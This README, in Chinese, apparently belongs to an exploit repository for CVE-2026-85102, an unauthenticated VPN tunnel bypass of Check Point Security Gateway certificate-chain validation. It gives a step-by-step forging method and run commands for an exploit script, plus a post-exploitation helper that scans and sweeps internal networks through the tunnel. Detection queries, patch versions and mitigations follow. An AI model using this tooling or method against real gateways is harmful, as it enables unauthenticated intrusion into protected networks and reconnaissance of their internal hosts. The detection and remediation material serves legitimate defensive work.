CVE-2026-85102 — Check Point 未认证 VPN 隧道建立

利用 CVE-2026-85102，通过绕过 IKE 证书链验证，在 Check Point Security Gateway 上建立未认证的 VPN 隧道。

Check Point 官方安全公告： sk1000117

漏洞

CVE-2026-85102 — VPN 证书链验证绕过

产品： Check Point Security Gateway、Check Point Spark Firewall 受影响版本： R81.20、R82、R82.10（Bundle T24 之前）、R80-R81.10（全部 EoS） 不受影响： R82.20
组件： libcpcert.so — fwKeyHolder_imp::IsChainTrusted()
根本原因： IsChainTrusted() 调用了 CanonizeChain()，但忽略了其返回值。即使证书链规范化失败，该函数仍返回 TRUSTED。

利用方式： 攻击者可以：

1. 从目标中提取 ICA 中间证书（端口 18190 或 443）
2. 使用 ICA 的 Issuer DN 伪造叶子证书
3. 破坏 ICA 证书签名以触发 CanonizeChain() 失败
4. 伪造的证书链仍被接受为受信任
5. 在无有效凭据的情况下完成 IKE 认证

仓库结构

CVE-2026-85102.py   # CVE-2026-85102: VPN tunnel establishment (auth bypass)
cp_postex.py             # Post-exploitation helper (tunnel management, recon)

前置条件

攻击机要求

• 操作系统： Linux（推荐 Ubuntu/Debian/Kali）
• 权限： root 或 sudo（用于配置内核 IPsec SA）
• Python： 3.8 或更高版本
• 依赖项： pip install cryptography
• 工具： openssl、iproute2（ip 命令）、nc（netcat）

目标要求

• Check Point Security Gateway R81.20、R82 或 R82.10
• Pre-Bundle T24
• 已启用 VPN blade 并配置了 Remote Access 社区
• 至少已知一个 VPN 用户名（例如 testuser）
• 攻击机可访问 UDP/500 和 TCP/443 端口

使用方法

建立 VPN 隧道

# Establish tunnel with certificate bypass
sudo python3 CVE-2026-85102.py<target_ip> -u <vpn_username>
# Output includes Office Mode IP, e.g., 172.16.10.3

# Clean up tunnel
sudo python3 CVE-2026-85102.py--cleanup

后渗透辅助工具

# Establish tunnel and save state
sudo python3 cp_postex.py tunnel up <target_ip> -u <vpn_username>

# Check tunnel status
sudo python3 cp_postex.py tunnel status

# Scan gateway ports through tunnel
sudo python3 cp_postex.py recon scan
sudo python3 cp_postex.py recon scan -p 80,443,18190-18208

# Sweep internal networks through tunnel
sudo python3 cp_postex.py recon sweep 192.168.1.0/24
sudo python3 cp_postex.py recon sweep 192.168.1.0/24 -p 22

# Tear down tunnel
sudo python3 cp_postex.py tunnel down
sudo python3 cp_postex.py tunnel down -f  # Flush all xfrm state

参数

参数	描述
<target_ip>	Check Point 网关 IP
-u <username>	VPN 用户名（默认：testuser）
-l <local_ip>	用于多网卡系统的手动本地 IP
-c <cert_host>	用于 ICA 证书提取的备用主机
--cleanup	移除隧道配置

影响

• 攻击向量： 网络（可从互联网访问）
• 攻击复杂度： 低（完全自动化）
• 所需权限： 无
• 用户交互： 无
• 机密性影响： 高（可访问受保护网络）
• 完整性影响： 中（可修改通过隧道的流量）
• 可用性影响： 低
• CVSS 3.1： 9.8（严重）

检测

检查日志中是否存在异常的基于证书的 Mobile Access 登录。在 SmartConsole/Spark Management 中，转到 Logs & Monitor / Logs & Events，搜索 2026 年 9 月 12 日之后的事件：

product: "Mobile Access" AND action: "Log In" AND "Certificate"

检查是否存在未识别用户、客户端或源 IP 地址的事件。

观察到的可疑证书主体：

• CN=vpn,OU=users,O=global
• CN=vpn-user,OU=users,O=global
• CN=vpnuser,OU=users,O=global

修复措施

CVE-2026-85102 的修复选项

选项 1：Check Point LivePatch（推荐）

安装 LivePatch Take 26（BUNDLE_URGENT_SECURITY_UPDATE）：

• R82.10：Take 26
• R82：Take 26
• R81.20：Take 26

验证安装：

# Check LivePatch status
cplp list

# Expected output includes:
# cpcert:cpca*    CVE-2026-85102 CVE-2026-85103
# cpcert:iked*    CVE-2026-85102 CVE-2026-85103
# cpcert:vpn*     CVE-2026-85102 CVE-2026-85103
# cpcert:vpnrad*  CVE-2026-85102 CVE-2026-85103
# cpcert_cprid:cprid* CVE-2026-85102 CVE-2026-85103

选项 2：Jumbo Hotfix Accumulator

• R82.10：Take 44 或更高版本
• R82：Take 126 或更高版本
• R81.20：Take 166 或更高版本
• R81.10：Take 190 或更高版本

Spark 防火墙

• Spark R82.00.10：Build 2325 或更高版本
• Spark R81.10.17：Build 4968 或更高版本

补丁详情（CVE-2026-85102）

该修复修改了 libcpcert.so：

// IsChainTrusted: Check CanonizeChain return value
result = CanonizeChain(this, trusted_ca, sorted, out, i, trust_type);
if (!result) {
    trusted_ca = NULL;
}
return trusted_ca;

// CanonizeChain: Check intermediate operation returns
if (!CopyChain(...)) return NULL;
if (!TruncateChain(...)) return NULL;

缓解措施（若无法打补丁）

针对站点到站点 VPN

禁用隐式 VPN 规则，并为特定对等 IP 地址手动定义 UDP/500 和 UDP/4500 的 VPN 访问。参见 sk179346。

针对远程访问 VPN

禁用远程访问 VPN 隐式规则。创建显式访问控制规则，允许所需的远程访问 VPN 服务访问安全网关：

• UDP/500 (IKE)、UDP/4500 (NAT-T)、TCP/443 (SSL)、TCP/80（如适用）
• 如适用，指定远程访问客户端的源 IP 地址范围

注意： 这些缓解措施不适用于本地管理的 Spark 防火墙。

一般建议

• 将 VPN 服务的暴露范围限制在可信网络内
• 监控 VPN 会话日志，以发现异常登录
• 在 VPN 客户端与管理接口之间实施网络分段

参考资料

• Check Point 安全公告：sk1000117
• CVE-2026-85102：NVD
• RFC 5996：IKEv2 协议规范

许可证

本漏洞利用代码仅供安全研究和测试使用。请仅在您自己的系统上使用，或在获得系统所有者明确授权的情况下使用。